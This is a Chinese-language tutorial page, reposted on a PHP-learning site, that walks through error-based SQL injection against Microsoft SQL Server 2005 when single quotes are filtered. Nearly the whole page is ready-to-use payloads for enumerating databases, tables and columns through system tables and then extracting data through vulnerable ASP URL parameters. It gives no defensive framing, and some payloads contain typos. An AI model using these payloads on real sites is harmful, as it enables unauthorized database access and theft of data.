网站地图    收藏   

主页 > 后端 > 网站安全 >

SQL2005过滤单引号的注入方式 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] XCH40 整理其中 爆列名有点麻烦mssql 20051:and 1=(SELECT @@VERSION)-- 判断数据库版本(master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息查询命令:user master; SELECT * F......

 

XCH40 整理 

 

 

其中   爆列名有点麻烦

mssql 2005

 

1:

 

and 1=(SELECT @@VERSION)-- 判断数据库版本

 

(master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息

 

查询命令:user master;

          SELECT * FROM MASTER.DBO.SYSDATABASES

 

系统默认的数据库有:1master  2tempdb 3model 4msdb)

 

2:dbid变量爆数据库名称

 

AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)

 

改变DBID值依次爆出!到无法爆出位置~!

 

3:获取表明

 

(MSSQL2005 每个数据库都有一个用来存放表明信息的表,PUBLIC权限即可查询!

表明为:INFORMATION_SCHEMA.TABLES

 

USE MASTER ;

SELECT * FROM INFORMATION_SCHEMA.TABLES;

 

INFORMATION_SCHEMA.TABLES表的机构:

 

                 TABLE_NAME

1                  XXX

2                  XXX

3                  XXX

...

 

而表明就存在TABLE_NAME的列里)

 

4:TOP 1爆出表名

 

   AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)

 

   更换TOP 1  即可爆出其它的。

 

5:获取爆出表的内容  加上条件语句:where table_name!=0XXXXX  (0xxx为上一步你爆出表明的16进制!)

 

   AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLENAME!=0XXXXX)

 

 

6:爆列名了

 

   MSSQL2005   SYS.ALL_OBJECTS表里存放着表与列的信息,表的列明:其列名OBJECT_ID里存放着一个数值,对应着另一个表名SYS.ALL_COLUMNS里的列明的ID,而SYS.ALL_COLUMNS表里存放着列的信息

 

执行:select * from sys.all_objects

 

表的机构

 

    name   object_id   xxx_id   schema_id  xxx_id

1  sysXXX     12

2  sysXXX      8

3

4

 

由结构可知,列名name和列名object_id是有对应的。注入时,通过指定的name值爆指定表的object_id值

 

AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE NAME=0XXX

 

 

但是此句无法爆出数据值,用折半法来进行猜解,由于其数值都在10位以上,所有,其法也不太可能,但是可以联合两张表来直接查询,在此提交:

 

AND 9 IN (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXXXX)--

 

就可以爆出0xxxxx的第一个列名,可以加入条件

 

'and B.NAME!=0X  0X为已爆出的列名,类推可以一次爆出。

 

AND 9 IN(SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXX AND B.NAME!=0XBBBBBB)--

 

最终:

 

表名和列名爆完后:,获取值就很简单

 

例如:   xch40.asp?id=1 and 77=(select ascii(@@VERSION))

         xch40.asp?id=1 and 1=2 UNSION SELECT 1,2,3,4...@VERSION--...

 

   

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论